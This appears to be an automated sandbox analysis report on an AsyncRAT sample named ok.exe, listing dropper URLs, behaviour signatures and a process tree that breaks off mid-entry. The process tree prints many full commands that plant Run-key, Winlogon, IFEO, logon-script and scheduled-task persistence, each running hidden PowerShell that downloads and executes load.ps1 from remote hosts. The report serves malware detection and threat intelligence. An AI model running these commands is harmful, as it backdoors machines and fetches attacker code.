Overview

overview

10

Static

static

10

ok.exe

windows10-2004-x64

10

ok.exe

windows10-ltsc_2021-x64

10

ok.exe

windows11-21h2-x64

10

ok.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    895s
  • max time network
    902s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260911-en
  • resource tags

    arch:x64arch:x86image:win11-20260911-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    10/11/2026, 16:56

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    ok.exe
  • Size 112KB
  • Sample261110-vf7sysvzax
  • SHA256 5cdd696fbfb34af9365a09f213f606f33b79b061578a77fd1d98e05889ade685
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
adware8kbet botnetdiscoveryexecutionasyncratpersistenceratspyware

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://mevideo.co/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://member.betvice.co/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://digitalconsulting.techvmc.co.in/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://b52club.bio/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://88clb.limited/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://luck8vn.co.com/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://bigslot855.vip/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://xx8.loans/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://tga95.games/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://whatsapp-group.dostbook.in/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://member.noboncos.co/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://help.eselfmade.in/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://mparivahan.digilockers.in/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://nmk.yosusai.in/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://e390a.com/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://x41t3.buzz/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://x88-nhacai.site/load.ps1

Extracted

Family

  • asyncrat

Version

  • 0.5.8

Botnet

  • 8kbet botnet

Mutex

  • rJMWYSWBKOjx

Attributes
  • delay

    3

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • Family: AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

    ratasyncrat
  • Modifies WinLogon for persistence 2 TTPs 18 IoCs
    persistence
  • Badlisted process makes network request 32 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 18 IoCs

    Run Powershell and hide display window.

    execution
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 36 IoCs
    persistence
  • Registers new Windows logon scripts automatically executed at logon. 1 TTPs 18 IoCs
    persistence
  • Adds Run key to start application 2 TTPs 36 IoCs
    persistence
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 64 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Meterpreter User-Agent 23 IoCs

    Uses user-agent string related to Meterpreter framework.

  • Modifies Internet Explorer settings 1 TTPs 64 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 36 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: AddClipboardFormatListener 17 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 21 IoCs
  • Suspicious use of SetWindowsHookEx 34 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ok.exe
    "C:\Users\Admin\AppData\Local\Temp\ok.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3388
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mevideo.co/load.ps1')\"" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1652
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mevideo.co/load.ps1')\"" /f
        3⤵
        • Adds Run key to start application
        PID:3156
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mevideo.co/load.ps1')\"" /f
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4476
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mevideo.co/load.ps1')\"" /f
        3⤵
        • Adds Run key to start application
        • System Location Discovery: System Language Discovery
        PID:4268
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mevideo.co/load.ps1')\"" /f
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1500
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mevideo.co/load.ps1')\"" /f
        3⤵
        • Event Triggered Execution: Image File Execution Options Injection
        PID:1904
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mevideo.co/load.ps1')\"" /f
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3972
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mevideo.co/load.ps1')\"" /f
        3⤵
        • Modifies WinLogon for persistence
        PID:3796
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mevideo.co/load.ps1')\"" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3436
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mevideo.co/load.ps1')\"" /f
        3⤵
        • Registers new Windows logon scripts automatically executed at logon.
        • System Location Discovery: System Language Discovery
        PID:3148
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mevideo.co/load.ps1')\"" /sc onlogon /f
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4604
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mevideo.co/load.ps1')\"" /sc onlogon /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:2492
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mevideo.co/load.ps1')\"" /sc minute /mo 5 /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4052
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mevideo.co/load.ps1')\"" /sc minute /mo 5 /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:760
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.betvice.co/load.ps1')\"" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2220
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.betvice.co/load.ps1')\"" /f
        3⤵
        • Adds Run key to start application
        PID:580
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.betvice.co/load.ps1')\"" /f
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2424
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.betvice.co/load.ps1')\"" /f
        3⤵
        • Adds Run key to start application
        PID:2336
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.betvice.co/load.ps1')\"" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3988
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.betvice.co/load.ps1')\"" /f
        3⤵
        • Event Triggered Execution: Image File Execution Options Injection
        PID:4696
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.betvice.co/load.ps1')\"" /f
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2392
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.betvice.co/load.ps1')\"" /f
        3⤵
        • Modifies WinLogon for persistence
        PID:1660
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.betvice.co/load.ps1')\"" /f
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2432
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.betvice.co/load.ps1')\"" /f
        3⤵
        • Registers new Windows logon scripts automatically executed at logon.
        PID:1472
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.betvice.co/load.ps1')\"" /sc onlogon /f
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3456
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.betvice.co/load.ps1')\"" /sc onlogon /f
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2212
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.betvice.co/load.ps1')\"" /sc minute /mo 5 /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2380
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.betvice.co/load.ps1')\"" /sc minute /mo 5 /f
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4780
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://digitalconsulting.techvmc.co.in/load.ps1')\"" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3012
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://digitalconsulting.techvmc.co.in/load.ps1')\"" /f
        3⤵
        • Adds Run key to start application
        PID:1996
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://digitalconsulting.techvmc.co.in/load.ps1')\"" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4552
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://digitalconsulting.techvmc.co.in/load.ps1')\"" /f
        3⤵
        • Adds Run key to start application
        PID:4704
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://digitalconsulting.techvmc.co.in/load.ps1')\"" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:400
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://digitalconsulting.techvmc.co.in/load.ps1')\"" /f
        3⤵
        • Event Triggered Execution: Image File Execution Options Injection
        PID:3672
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://digitalconsulting.techvmc.co.in/load.ps1')\"" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3344
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://digitalconsulting.techvmc.co.in/load.ps1')\"" /f
        3⤵
        • Modifies WinLogon for persistence
        PID:1072
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://digitalconsulting.techvmc.co.in/load.ps1')\"" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:780
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://digitalconsulting.techvmc.co.in/load.ps1')\"" /f
        3⤵
        • Registers new Windows logon scripts automatically executed at logon.
        PID:4784
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://digitalconsulting.techvmc.co.in/load.ps1')\"" /sc onlogon /f
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3524
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://digitalconsulting.techvmc.co.in/load.ps1')\"" /sc onlogon /f
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2652
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://digitalconsulting.techvmc.co.in/load.ps1')\"" /sc minute /mo 5 /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4828
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://digitalconsulting.techvmc.co.in/load.ps1')\"" /sc minute /mo 5 /f
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4584
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2208
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /f
        3⤵
        • Adds Run key to start application
        PID:1492
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /f
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4896
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /f
        3⤵
        • Adds Run key to start application
        PID:4564
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /f
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4792
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /f
        3⤵
        • Event Triggered Execution: Image File Execution Options Injection
        PID:1460
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1588
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /f
        3⤵
        • Modifies WinLogon for persistence
        • System Location Discovery: System Language Discovery
        PID:2216
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /f
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4340
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /f
        3⤵
        • Registers new Windows logon scripts automatically executed at logon.
        PID:1164
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /sc onlogon /f
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1608
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /sc onlogon /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:1556
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /sc minute /mo 5 /f
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2428
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /sc minute /mo 5 /f
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4460
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88clb.limited/load.ps1')\"" /f
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2144
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88clb.limited/load.ps1')\"" /f
        3⤵
        • Adds Run key to start application
        PID:3840
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88clb.limited/load.ps1')\"" /f
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5008
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88clb.limited/load.ps1')\"" /f
        3⤵
        • Adds Run key to start application
        • System Location Discovery: System Language Discovery
        PID:4044
    • C:\Windows\SysWOW64\cmd.exe
